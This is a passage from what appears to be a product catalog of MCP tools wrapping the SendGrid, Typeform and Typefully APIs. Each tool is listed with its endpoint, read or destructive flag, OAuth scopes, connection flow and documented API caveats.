sendgrid_post_v3_whitelabel_domains_by_domain_id_subuser (write) — Associate subuser with domain via POST /v3/whitelabel/domains/{domain_id}/subuser POST /api/v1/sendgrid/v3/whitelabel/domains/{domain_id}/subuser. Scopes: whitelabel.create. sendgrid_post_v3_whitelabel_domains_by_domain_id_subuser_add (write) — Associate subuser with domain multiple via POST /v3/whitelabel/domains/{domain_id}/subuser:add POST /api/v1/sendgrid/v3/whitelabel/domains/{domain_id}/subuser:add. Scopes: whitelabel.create. sendgrid_post_v3_whitelabel_domains_by_id_ips (write) — Add ip to authenticated domain via POST /v3/whitelabel/domains/{id}/ips POST /api/v1/sendgrid/v3/whitelabel/domains/{id}/ips. Scopes: whitelabel.create. sendgrid_post_v3_whitelabel_domains_by_id_validate (write) — Validate authenticated domain via POST /v3/whitelabel/domains/{id}/validate POST /api/v1/sendgrid/v3/whitelabel/domains/{id}/validate. Scopes: whitelabel.create. sendgrid_post_v3_whitelabel_ips (write) — Set up reverse dns via POST /v3/whitelabel/ips POST /api/v1/sendgrid/v3/whitelabel/ips. Scopes: whitelabel.create. sendgrid_post_v3_whitelabel_ips_by_id_validate (write) — Validate reverse dns via POST /v3/whitelabel/ips/{id}/validate POST /api/v1/sendgrid/v3/whitelabel/ips/{id}/validate. Scopes: whitelabel.create. sendgrid_post_v3_whitelabel_links (write) — Create branded link via POST /v3/whitelabel/links POST /api/v1/sendgrid/v3/whitelabel/links. Scopes: whitelabel.create. sendgrid_post_v3_whitelabel_links_by_id_validate (write) — Validate branded link via POST /v3/whitelabel/links/{id}/validate POST /api/v1/sendgrid/v3/whitelabel/links/{id}/validate. Scopes: whitelabel.create. sendgrid_post_v3_whitelabel_links_by_link_id_subuser (write) — Associate branded link with subuser via POST /v3/whitelabel/links/{link_id}/subuser POST /api/v1/sendgrid/v3/whitelabel/links/{link_id}/subuser. Scopes: whitelabel.create. sendgrid_put_v3_api_keys_by_api_key_id (write) — Update api key via PUT /v3/api_keys/{api_key_id} PUT /api/v1/sendgrid/v3/api_keys/{api_key_id}. Scopes: api_keys.update. sendgrid_put_v3_ips_pools_by_pool_name (write) — Update ip pool via PUT /v3/ips/pools/{pool_name} PUT /api/v1/sendgrid/v3/ips/pools/{pool_name}. Scopes: none. sendgrid_put_v3_marketing_contacts (write) — Update contact via PUT /v3/marketing/contacts PUT /api/v1/sendgrid/v3/marketing/contacts. Scopes: none. sendgrid_put_v3_marketing_contacts_imports (write) — Import contact via PUT /v3/marketing/contacts/imports PUT /api/v1/sendgrid/v3/marketing/contacts/imports. Scopes: none. sendgrid_put_v3_marketing_singlesends_by_id_schedule (write) — Schedule single send via PUT /v3/marketing/singlesends/{id}/schedule PUT /api/v1/sendgrid/v3/marketing/singlesends/{id}/schedule. Scopes: none. sendgrid_put_v3_partners_accounts_by_accountid_offerings (write) — Update account offering via PUT /v3/partners/accounts/{accountID}/offerings PUT /api/v1/sendgrid/v3/partners/accounts/{accountID}/offerings. Scopes: none. sendgrid_put_v3_partners_accounts_by_accountid_state (write) — Update account state via PUT /v3/partners/accounts/{accountID}/state PUT /api/v1/sendgrid/v3/partners/accounts/{accountID}/state. Scopes: none. sendgrid_put_v3_send_ips_pools_by_poolid (write) — Update ip pool via PUT /v3/send_ips/pools/{poolid} PUT /api/v1/sendgrid/v3/send_ips/pools/{poolid}. Scopes: none. sendgrid_put_v3_subusers_by_subuser_name_credits (write) — Update subuser credit via PUT /v3/subusers/{subuser_name}/credits PUT /api/v1/sendgrid/v3/subusers/{subuser_name}/credits. Scopes: none. sendgrid_put_v3_subusers_by_subuser_name_ips (write) — Update subuser ip via PUT /v3/subusers/{subuser_name}/ips PUT /api/v1/sendgrid/v3/subusers/{subuser_name}/ips. Scopes: none. sendgrid_put_v3_user_email (write) — Update email via PUT /v3/user/email PUT /api/v1/sendgrid/v3/user/email. Scopes: none. sendgrid_put_v3_user_password (write) — Update password via PUT /v3/user/password PUT /api/v1/sendgrid/v3/user/password. Scopes: none. sendgrid_put_v3_user_username (write) — Update username via PUT /v3/user/username PUT /api/v1/sendgrid/v3/user/username. Scopes: none. sendgrid_put_v3_validations_email_jobs (write) — List email job for verification via PUT /v3/validations/email/jobs PUT /api/v1/sendgrid/v3/validations/email/jobs. Scopes: none. ================================================================================ ## Typeform URL: https://www.agenticfabriq.com/integrations/typeform Section: Integrated Tools Typeform — 52 MCP tools Provider key: typeform. Scopes: accounts:read, forms:read, forms:write, images:read, images:write, responses:read, responses:write, themes:read, themes:write, webhooks:read, webhooks:write, workspaces:read, workspaces:write. Connect: BYO — your own OAuth app, coming soon; API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. typeform_delete_forms_by_form_id (write, destructive) — Deletes the form with the given `form_id` and all of the form's responses. via DELETE /forms/{form_id} DELETE /api/v1/typeform/forms/{form_id}. Scopes: forms:write. typeform_delete_forms_by_form_id_responses (write, destructive) — Delete responses to a form. You must specify the `included_response_ids` parameter. Deletion does not happen straight away, instead, a 200 response status code indicates the request had been succesfully registered. Not found response IDs will be ignored. Consider checking if responses have been actually deleted using the "Retrieve responses" endpoint or checking Typeform itself. via DELETE /forms/{form_id}/responses DELETE /api/v1/typeform/forms/{form_id}/responses. Scopes: responses:write. typeform_delete_forms_by_form_id_translations_by_language (write, destructive) — Deletes the content of a translation for a given form and language. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via DELETE /forms/{form_id}/translations/{language} DELETE /api/v1/typeform/forms/{form_id}/translations/{language}. Scopes: none. typeform_delete_forms_by_form_id_webhooks_by_tag (write, destructive) — Delete a webhook. via DELETE /forms/{form_id}/webhooks/{tag} DELETE /api/v1/typeform/forms/{form_id}/webhooks/{tag}. Scopes: webhooks:write. typeform_delete_images_by_image_id (write, destructive) — Deletes an image from your Typeform account. via DELETE /images/{image_id} DELETE /api/v1/typeform/images/{image_id}. Scopes: images:write. typeform_delete_rtbf_by_account_id_responses (write, destructive) — Right to be forgotten: delete every response associated with the account. WARNING: measured 2026-09-13, Typeform answers this path 404 'Endpoint not found' for every account_id shape tried (it appears only in Typeform's Postman collection), so it is likely unavailable on api.typeform.com today. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via DELETE /rtbf/{account_id}/responses DELETE /api/v1/typeform/rtbf/{account_id}/responses. Scopes: none. typeform_delete_themes_by_theme_id (write, destructive) — Deletes a theme from your Typeform account. via DELETE /themes/{theme_id} DELETE /api/v1/typeform/themes/{theme_id}. Scopes: themes:write. typeform_delete_workspaces_by_workspace_id (write, destructive) — Delete a workspace. via DELETE /workspaces/{workspace_id} DELETE /api/v1/typeform/workspaces/{workspace_id}. Scopes: workspaces:write. typeform_get_accounts_by_account_id_workspaces (read) — Retrieve all workspaces you have access to within the specific account. account_id is the 26-character account ULID; other shapes are answered 404. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via GET /accounts/{account_id}/workspaces GET /api/v1/typeform/accounts/{account_id}/workspaces. Scopes: none. typeform_get_forms (read) — Retrieves a list of JSON descriptions for all forms in your Typeform account (public and private). Forms can be sorted by creation date or last update date, in ascending or descending order. via GET /forms GET /api/v1/typeform/forms. Scopes: forms:read. typeform_get_forms_by_form_id (read) — Retrieves a form by the given `form_id`. Includes any theme and images attached to the form as references. Details about the fields and elements for this endpoint are available in the **Create Form** description. via GET /forms/{form_id} GET /api/v1/typeform/forms/{form_id}. Scopes: forms:read. typeform_get_forms_by_form_id_messages (read) — Retrieves the customizable messages for a form (specified by `form_id`) using the form's specified language. You can format messages with bold (`*bold*`) and italic (`_italic_`) text. HTML tags are forbidden. via GET /forms/{form_id}/messages GET /api/v1/typeform/forms/{form_id}/messages. Scopes: forms:read. typeform_get_forms_by_form_id_responses (read) — Returns form responses and date and time of form landing and submission. Very recent responses (say within the last 30 minutes) may not be returned. Considering using Typeform webhooks instead for real-time submission data. Returned as JSON (the XLSX/CSV renderings are not offered). Querying the wrong data center returns EMPTY results, not an error. via GET /forms/{form_id}/responses GET /api/v1/typeform/forms/{form_id}/responses. Scopes: responses:read. typeform_get_forms_by_form_id_translations_by_language (read) — Serves the translation payload for a given language. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via GET /forms/{form_id}/translations/{language} GET /api/v1/typeform/forms/{form_id}/translations/{language}. Scopes: none. typeform_get_forms_by_form_id_translations_main (read) — Retrieves the form content in the main language, as if it were a translation. Useful for using it as a base to translate different languages. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via GET /forms/{form_id}/translations/main GET /api/v1/typeform/forms/{form_id}/translations/main. Scopes: none. typeform_get_forms_by_form_id_translations_status (read) — Retrieve the status of the translations for each language for a given form Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via GET /forms/{form_id}/translations/status GET /api/v1/typeform/forms/{form_id}/translations/status. Scopes: none. typeform_get_forms_by_form_id_webhooks (read) — Retrieve all webhooks for the specified typeform. via GET /forms/{form_id}/webhooks GET /api/v1/typeform/forms/{form_id}/webhooks. Scopes: webhooks:read. typeform_get_forms_by_form_id_webhooks_by_tag (read) — Retrieve a single webhook. via GET /forms/{form_id}/webhooks/{tag} GET /api/v1/typeform/forms/{form_id}/webhooks/{tag}. Scopes: webhooks:read. typeform_get_forms_by_form_id_webhooks_by_tag_deliveries (read) — Retrieve data about the last 30 days of deliveries for an specific webhook in your Typeform account. via GET /forms/{form_id}/webhooks/{tag}/deliveries GET /api/v1/typeform/forms/{form_id}/webhooks/{tag}/deliveries. Scopes: webhooks:read. typeform_get_forms_by_form_id_webhooks_by_tag_deliveries_by_delivery_id (read) — Retrieve data about specified webhook delivery in your Typeform account. We store deliveries of webhooks for 30 days. via GET /forms/{form_id}/webhooks/{tag}/deliveries/{delivery_id} GET /api/v1/typeform/forms/{form_id}/webhooks/{tag}/deliveries/{delivery_id}. Scopes: webhooks:read. typeform_get_images (read) — Retrieves a list of JSON descriptions for all images in your Typeform account. Images are listed in reverse-chronological order based on the date you added them to your account. via GET /images GET /api/v1/typeform/images. Scopes: images:read. typeform_get_images_by_image_id (read) — Retrieves the JSON description or the binary of the original image for the specified `image_id`. **NOTE:** Default is to return the binary of the original image. Use the `Accept` header to specify `application/json` to return the JSON description of the image instead. Agentic Fabriq always asks for application/json, so this returns the JSON description; the binary image is not offered. via GET /images/{image_id} GET /api/v1/typeform/images/{image_id}. Scopes: images:read. typeform_get_images_by_image_id_background_by_size (read) — Retrieve the JSON description or the binary of the requested background format. Use the `Accept` header to specify the response format. If you use `application/json`, the JSON representation of the resource will be returned. Otherwise, the image as a binary will be returned (if the MIME type matches with the stored one). Agentic Fabriq always asks for application/json, so this returns the JSON description; the binary image is not offered. via GET /images/{image_id}/background/{size} GET /api/v1/typeform/images/{image_id}/background/{size}. Scopes: images:read. typeform_get_images_by_image_id_choice_by_size (read) — Retrieve the JSON description or the binary of the requested choice format. Use the `Accept` header to specify the response format. If you use `application/json`, the JSON representation of the resource will be returned. Otherwise, the image as a binary will be returned (if the MIME type matches with the stored one). Agentic Fabriq always asks for application/json, so this returns the JSON description; the binary image is not offered. via GET /images/{image_id}/choice/{size} GET /api/v1/typeform/images/{image_id}/choice/{size}. Scopes: images:read. typeform_get_images_by_image_id_image_by_size (read) — Retrieve the JSON description or the binary of the requested image. Use the `Accept` header to specify the response format. If you use `application/json`, the JSON representation of the resource will be returned. Otherwise, the image as a binary will be returned (if the MIME type matches with the stored image). Agentic Fabriq always asks for application/json, so this returns the JSON description; the binary image is not offered. via GET /images/{image_id}/image/{size} GET /api/v1/typeform/images/{image_id}/image/{size}. Scopes: images:read. typeform_get_insights_by_form_id_summary (read) — Retrieve the insights summary (views, starts, submissions, completion rate and per-question drop-off) for a form. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via GET /insights/{form_id}/summary GET /api/v1/typeform/insights/{form_id}/summary. Scopes: none. typeform_get_me (read) — Retrieve basic information from your Typeform account. via GET /me GET /api/v1/typeform/me. Scopes: accounts:read. typeform_get_media_audios_by_id_master (read) — Retrieves the processed master audio file URL. This endpoint should be polled to check the transcoding status. **Download Process:** 1. After requesting the master file (POST), poll this endpoint to check the transcoding `status` 2. When `status` is `"ready"`, the `url` field contains the download URL for the processed audio 3. Use the returned URL to download the audio file **Status Values:** - `none`: Audio master is not yet requested - `preparing`: Audio master is being prepared - `ready`: Audio is ready for download (URL provided) **Polling Recommendations:** - Poll every 2-3 seconds initially - After 30 seconds, increase polling interval to 5-10 seconds - Stop polling once status is `ready` or `errored` **Note:** The download URL is only valid for 24 hours and can be regenerated by calling the POST endpoint again. `id` is the audio id from the upload endpoint, not a form or image id; an id no audio has answers an empty 404. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via GET /media/audios/{id}/master GET /api/v1/typeform/media/audios/{id}/master. Scopes: none. typeform_get_media_videos_by_id_master (read) — Retrieves the processed master video file URL. This endpoint should be polled to check the transcoding status. **Download Process:** 1. After requesting the master file (POST), poll this endpoint to check the transcoding `status` 2. When `status` is `"ready"`, the `url` field contains the download URL for the processed video 3. Use the returned URL to download the video file **Status Values:** - `none`: Video master is not yet requested - `preparing`: Video master is being prepared - `ready`: Video is ready for download (URL provided) **Polling Recommendations:** - Poll every 2-3 seconds initially - After 30 seconds, increase polling interval to 5-10 seconds - Stop polling once status is `ready` or `errored` **Note:** The download URL is only valid for 24 hours and can be regenerated by calling the POST endpoint again. `id` is the video id from typeform_post_media_videos, not a form or image id; an id no video has answers an empty 404, and a video whose file has not been uploaded yet answers 409. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via GET /media/videos/{id}/master GET /api/v1/typeform/media/videos/{id}/master. Scopes: none. typeform_get_themes (read) — Retrieves a list of JSON descriptions for all themes in your Typeform account (public and private). Themes are listed in reverse-chronological order based on the date you added them to your account. via GET /themes GET /api/v1/typeform/themes. Scopes: themes:read. typeform_get_themes_by_theme_id (read) — Retrieves a theme in your Typeform account. via GET /themes/{theme_id} GET /api/v1/typeform/themes/{theme_id}. Scopes: themes:read. typeform_get_workspaces (read) — Retrieve all workspaces you have access to. This will rerieve all workspaces you have access to from multiple organisations. via GET /workspaces GET /api/v1/typeform/workspaces. Scopes: workspaces:read. typeform_get_workspaces_by_workspace_id (read) — Retrieve a workspace. via GET /workspaces/{workspace_id} GET /api/v1/typeform/workspaces/{workspace_id}. Scopes: workspaces:read. typeform_patch_forms_by_form_id (write) — Updates an existing form. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via PATCH /forms/{form_id} PATCH /api/v1/typeform/forms/{form_id}. Scopes: none. typeform_patch_themes_by_theme_id (write) — Updates a theme in your Typeform account. **NOTE:** You can't change Typeform's public themes (the built-in themes that are available in all accounts). This endpoint support partial payloads. It enables a caller to update a theme by providing only a subset of fields that need to be updated, leaving the rest of the theme definition unaltered. Each provided field must be complete though; for instance, if one decides to update the `colors` field, then all its subfields must be provided. Failing that, the request will be considered invalid. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via PATCH /themes/{theme_id} PATCH /api/v1/typeform/themes/{theme_id}. Scopes: none. typeform_patch_workspaces_by_workspace_id (write) — Update a workspace. via PATCH /workspaces/{workspace_id} PATCH /api/v1/typeform/workspaces/{workspace_id}. Scopes: workspaces:write. typeform_post_accounts_by_account_id_workspaces (write) — Create a workspace in a specific account. account_id is the 26-character account ULID; other shapes are answered 404. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via POST /accounts/{account_id}/workspaces POST /api/v1/typeform/accounts/{account_id}/workspaces. Scopes: none. typeform_post_forms (write) — Here's the general structure for requests to create a form: - `title`: Title to use for the form. - `type`: Type of form. - `settings`: Object that specifies form settings and metadata, including the language to use for the form, whether the form is publicly available, the basis for the progress bar, and search engine indexing settings. - `theme`: Theme to use for the form. - `workspace`: Workspace that contains the form. - `hidden`: Array of Hidden Fields to use in the form. - `variables`: Object that keeps track of total score, price and enrichment variables containing third-party data, if you use them in the form. Read [Data enrichment with Typeform](https://www.typeform.com/help/a/data-enrichment-with-typeform-23794452273812/) for more information about enrichment variables. - `welcome_screens`: Array of objects that specify settings and properties for the form's welcome screen. - `thankyou_screens`: Array of objects that specify settings and properties for the form's thank you screen. - `fields`: Array of objects that specify the fields to use in the form and their properties, validations, and attachments. - `logic`: Array of Logic Jump objects to use in the form. Expand the schema below for details about each of these elements. For optional elements, if you don't send a value and the element doesn't have a default value, no attribute will be returned. Any images you want to use in your form must already exist in your Typeform account. If you try to create a form that includes an image that isn't already in your Typeform account, the response will include an "IMAGE_NOT_FOUND" error. Use the [POST https://api.typeform.com/images](/create/reference/create-image) endpoint to add images to your account. **NOTE:** It is not possible to inject third-party content into a typeform using the Create API. via POST /forms POST /api/v1/typeform/forms. Scopes: forms:write. typeform_post_forms_by_form_id_responses_search (write) — Retrieves form responses using a structured filter format that supports combining multiple conditions on answers, metadata, tags, hidden fields, response IDs, and submission time. Prefer this endpoint over `GET /forms/{form_id}/responses` when you need to filter by answer values or combine conditions. Querying the wrong data center returns EMPTY results, not an error. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via POST /forms/{form_id}/responses/search POST /api/v1/typeform/forms/{form_id}/responses/search. Scopes: none. typeform_post_forms_by_form_id_translations_by_language_auto (write) — Requests an automatic translation for a form and language, stores and returns it. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via POST /forms/{form_id}/translations/{language}/auto POST /api/v1/typeform/forms/{form_id}/translations/{language}/auto. Scopes: none. typeform_post_images (write) — Adds an image in your Typeform account. Specify the URL of your image or send your image in [base64](https://en.wikipedia.org/wiki/Base64) format, which encodes the image data as ASCII text. You can use a tool like [Base64 Image Encoder](https://www.base64-image.de) to get the base64 code for the image you want to add. via POST /images POST /api/v1/typeform/images. Scopes: images:write. typeform_post_media_audios_by_id_master (write) — Initiates the master file generation process for an audio file. This should be called after uploading an audio file. **Master File Process:** 1. After uploading an audio file to the `upload_url`, call this endpoint to start processing 2. The service will begin generating the master file (high-quality downloadable version) 3. Use the GET endpoint to poll for status and retrieve the download URL when ready **Note:** This endpoint is idempotent - calling it multiple times for the same audio will not restart processing. `id` is the audio id from the upload endpoint, not a form or image id; an id no audio has answers an empty 404. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via POST /media/audios/{id}/master POST /api/v1/typeform/media/audios/{id}/master. Scopes: none. typeform_post_media_videos (write) — Creates a new video upload. Returns an upload URL where the video file should be uploaded via PUT request. **Upload Process:** 1. Call this endpoint to create a video upload and receive an `upload_url` and `id` 2. Upload your video file to the `upload_url` using a PUT request with the video file (ReadStream) as the body **Note:** The `upload_url` is a temporary signed URL that expires after a short period. Step 1 of 3: returns `id` and a short-lived `upload_url`; PUT the file there, then call the master tools with that `id`. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via POST /media/videos POST /api/v1/typeform/media/videos. Scopes: none. typeform_post_media_videos_by_id_master (write) — Initiates the master file generation process for a video. This should be called after uploading a video file. **Master File Process:** 1. After uploading a video to the `upload_url`, call this endpoint to start processing 2. The service will begin generating the master file (high-quality downloadable version) 3. Use the GET endpoint to poll for status and retrieve the download URL when ready **Note:** This endpoint is idempotent - calling it multiple times for the same video will not restart processing. `id` is the video id from typeform_post_media_videos, not a form or image id; an id no video has answers an empty 404, and a video whose file has not been uploaded yet answers 409. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via POST /media/videos/{id}/master POST /api/v1/typeform/media/videos/{id}/master. Scopes: none. typeform_post_media_videos_list (write) — Retrieves multiple videos with optional per-video clip time configurations for instant clipping. **Features:** - Fetch multiple videos in a single request - Apply per-video clip times (start_time, end_time) for instant clipping - Get signed Mux playback tokens for secure video access - Support for millisecond or second time units **Authentication:** - Requires Authorization header with bearer token OR - Respondent token in request body for form respondent access **Instant Clipping:** Videos can be clipped on-the-fly without creating new files. The returned playback URLs will only stream the specified time range. Tokens include clip parameters as JWT claims. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via POST /media/videos/list POST /api/v1/typeform/media/videos/list. Scopes: none. typeform_post_themes (write) — Creates a new theme. via POST /themes POST /api/v1/typeform/themes. Scopes: themes:write. typeform_post_workspaces (write) — Create a workspace. The workspace gets created in the account where the user has the organisation role - owner. via POST /workspaces POST /api/v1/typeform/workspaces. Scopes: workspaces:write. typeform_put_forms_by_form_id (write) — Updates an existing form. Your request body must include all the existing form fields, in addition to the new email field. Overwrites the previously stored form with the given `form_id`. Any new fields in your request will be added to the form. Likewise, any fields you don't include in your request will be deleted from the form. **Make sure your `PUT` request contains every field you want to include in your updated form, including the field `id`.** **NOTE:** Tread carefully when updating fields in forms. `PUT` overwrites the entire form, so if you don't include each field (with the original field `id`) in your `PUT` request, the missing fields **and results for those fields** will be deleted. Details about the fields and elements for this endpoint are available in the **Create Form** description. The `theme` property applies a theme to the form. If you don't specify a value for the 'theme' property, Typeform applies a **new** copy of the default theme to the form, **even if you already have a copy of the default theme applied to this form.** via PUT /forms/{form_id} PUT /api/v1/typeform/forms/{form_id}. Scopes: forms:write. typeform_put_forms_by_form_id_messages (write) — Specifies new values for the customizable messages in a form (specified by `form_id`). You can format messages with bold (`*bold*`) and italic (`_italic_`) text. HTML tags are forbidden. via PUT /forms/{form_id}/messages PUT /api/v1/typeform/forms/{form_id}/messages. Scopes: forms:write. typeform_put_forms_by_form_id_translations_by_language (write) — Updates the content of a translation for a given form and language. Typeform's scopes table documents no scope for this operation, so Agentic Fabriq requires none (whether Typeform checks one is unverified). via PUT /forms/{form_id}/translations/{language} PUT /api/v1/typeform/forms/{form_id}/translations/{language}. Scopes: none. typeform_put_forms_by_form_id_webhooks_by_tag (write) — Create or update a webhook. via PUT /forms/{form_id}/webhooks/{tag} PUT /api/v1/typeform/forms/{form_id}/webhooks/{tag}. Scopes: webhooks:write. typeform_put_themes_by_theme_id (write) — Updates a theme in your Typeform account. **NOTE:** You can't change Typeform's public themes (the built-in themes that are available in all accounts). This endpoint is meant for receiving a full theme payload. The theme definition you provide will overwrite any existing theme with the same ID, even if that means overwriting fields with default values. For partial updates, use the `PATCH` endpoint. via PUT /themes/{theme_id} PUT /api/v1/typeform/themes/{theme_id}. Scopes: themes:write. ================================================================================ ## Typefully URL: https://www.agenticfabriq.com/integrations/typefully Section: Integrated Tools Typefully — 26 MCP tools Provider key: typefully. Scopes: full_access. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. typefully_delete_v2_social_sets_by_social_set_id_drafts_by_draft_id (write, destructive) — DESTRUCTIVE AND PERMANENT. Delete a draft with its posts, media attachments and comment threads. Typefully publishes no trash and no restore endpoint for drafts, so there is no undo and no safer alternative to prefer -- unschedule it with an update instead if the intent is only to stop it publishing via DELETE /v2/social-sets/{social_set_id}/drafts/{draft_id} DELETE /api/v1/typefully/v2/social-sets/{social_set_id}/drafts/{draft_id}. Scopes: full_access. typefully_delete_v2_social_sets_by_social_set_id_drafts_by_draft_id_comment_threads_by_comment_thread_id (write, destructive) — DESTRUCTIVE AND PERMANENT. Delete a draft's whole comment thread, every comment in it and its anchor in the post text. There is no undo; resolving the thread is the reversible alternative that hides it without destroying the discussion via DELETE /v2/social-sets/{social_set_id}/drafts/{draft_id}/comment-threads/{comment_thread_id} DELETE /api/v1/typefully/v2/social-sets/{social_set_id}/drafts/{draft_id}/comment-threads/{comment_thread_id}. Scopes: full_access. typefully_delete_v2_social_sets_by_social_set_id_drafts_by_draft_id_comment_threads_by_comment_thread_id_comments_by_comment_id (write, destructive) — DESTRUCTIVE AND PERMANENT. Delete one comment from a draft's comment thread. There is no undo and no archive; updating the comment's text is the reversible alternative when the intent is to correct it via DELETE /v2/social-sets/{social_set_id}/drafts/{draft_id}/comment-threads/{comment_thread_id}/comments/{comment_id} DELETE /api/v1/typefully/v2/social-sets/{social_set_id}/drafts/{draft_id}/comment-threads/{comment_thread_id}/comments/{comment_id}. Scopes: full_access. typefully_get_v2_me (read) — Read the Typefully user this connection acts as: id, name, email, signup date and the label of the API key that authenticated the call, when one was set via GET /v2/me GET /api/v1/typefully/v2/me. Scopes: full_access. typefully_get_v2_social_sets (read) — List the social sets -- Typefully's name for a connected social account and the team that owns it -- this credential can reach. THE DISCOVERY CALL: every other tool here takes a social_set_id, and this is what supplies it via GET /v2/social-sets GET /api/v1/typefully/v2/social-sets. Scopes: full_access. typefully_get_v2_social_sets_by_social_set_id (read) — Read one social set with every platform account attached to it (X, LinkedIn, Bluesky, Mastodon, Threads, Substack), each with its handle and public profile URL via GET /v2/social-sets/{social_set_id} GET /api/v1/typefully/v2/social-sets/{social_set_id}. Scopes: full_access. typefully_get_v2_social_sets_by_social_set_id_analytics_by_platform_followers (read) — Read a social set's daily follower counts on one platform over a date range, in the set's own timezone, with the latest count in the range via GET /v2/social-sets/{social_set_id}/analytics/{platform}/followers GET /api/v1/typefully/v2/social-sets/{social_set_id}/analytics/{platform}/followers. Scopes: full_access. typefully_get_v2_social_sets_by_social_set_id_analytics_by_platform_posts (read) — List a social set's published posts on one platform over a date range with their impressions and engagement -- likes, comments, shares, quotes, profile clicks, link clicks and saves -- optionally including X replies via GET /v2/social-sets/{social_set_id}/analytics/{platform}/posts GET /api/v1/typefully/v2/social-sets/{social_set_id}/analytics/{platform}/posts. Scopes: full_access. typefully_get_v2_social_sets_by_social_set_id_drafts (read) — List a social set's drafts, filtered by status and tag and sorted by created, updated, scheduled or published date. `planned` is dated but INERT -- it will not auto-publish until a publish_at confirms it -- so a planned draft whose date has passed is not overdue via GET /v2/social-sets/{social_set_id}/drafts GET /api/v1/typefully/v2/social-sets/{social_set_id}/drafts. Scopes: full_access. typefully_get_v2_social_sets_by_social_set_id_drafts_by_draft_id (read) — Read one draft with its per-platform posts, attached media, schedule, tags and published URLs. `exclude_comment_markers=true` strips the `<typ:comment-thread>` anchors for a read-only consumer; leave it false to round-trip the text back through an update via GET /v2/social-sets/{social_set_id}/drafts/{draft_id} GET /api/v1/typefully/v2/social-sets/{social_set_id}/drafts/{draft_id}. Scopes: full_access. typefully_get_v2_social_sets_by_social_set_id_drafts_by_draft_id_comment_threads (read) — List a draft's comment threads with the comments in each, filtered by platform and by resolution status -- UNRESOLVED ONLY by default, so resolved threads are omitted unless you ask for `resolved` or `all` via GET /v2/social-sets/{social_set_id}/drafts/{draft_id}/comment-threads GET /api/v1/typefully/v2/social-sets/{social_set_id}/drafts/{draft_id}/comment-threads. Scopes: full_access. typefully_get_v2_social_sets_by_social_set_id_linkedin_organizations_resolve (read) — Turn a public LinkedIn company or school URL into that organization's id, URN and the ready-to-paste `@[Name](urn:li:organization:ID)` mention syntax a LinkedIn post body needs via GET /v2/social-sets/{social_set_id}/linkedin/organizations/resolve GET /api/v1/typefully/v2/social-sets/{social_set_id}/linkedin/organizations/resolve. Scopes: full_access. typefully_get_v2_social_sets_by_social_set_id_media_by_media_id (read) — Read an uploaded media file's processing state, filename, MIME type, alt text and the resized URLs Typefully produced, plus the failure reason when processing failed via GET /v2/social-sets/{social_set_id}/media/{media_id} GET /api/v1/typefully/v2/social-sets/{social_set_id}/media/{media_id}. Scopes: full_access. typefully_get_v2_social_sets_by_social_set_id_queue (read) — Read the drafts a social set has queued or scheduled between two dates, in the order they will publish via GET /v2/social-sets/{social_set_id}/queue GET /api/v1/typefully/v2/social-sets/{social_set_id}/queue. Scopes: full_access. typefully_get_v2_social_sets_by_social_set_id_queue_schedule (read) — Read a social set's queue slots -- the local hour, minute and weekdays a queued draft publishes at -- together with the timezone those times are in via GET /v2/social-sets/{social_set_id}/queue/schedule GET /api/v1/typefully/v2/social-sets/{social_set_id}/queue/schedule. Scopes: full_access. typefully_get_v2_social_sets_by_social_set_id_tags (read) — List a social set's draft tags with the URL-safe slug each one generated -- the slug is what the draft listing filters on via GET /v2/social-sets/{social_set_id}/tags GET /api/v1/typefully/v2/social-sets/{social_set_id}/tags. Scopes: full_access. typefully_patch_v2_social_sets_by_social_set_id_drafts_by_draft_id (write) — Edit a draft: its posts, title, tags, sharing, and its schedule -- setting `publish_at` commits a planned draft to auto-publish, and clearing it takes it back out of the queue. `force_overwrite_comments` is what allows text edits that would break existing comment anchors via PATCH /v2/social-sets/{social_set_id}/drafts/{draft_id} PATCH /api/v1/typefully/v2/social-sets/{social_set_id}/drafts/{draft_id}. Scopes: full_access. typefully_patch_v2_social_sets_by_social_set_id_drafts_by_draft_id_comment_threads_by_comment_thread_id_comments_by_comment_id (write) — Rewrite the text of one comment in a draft's comment thread. The anchor and the thread are untouched via PATCH 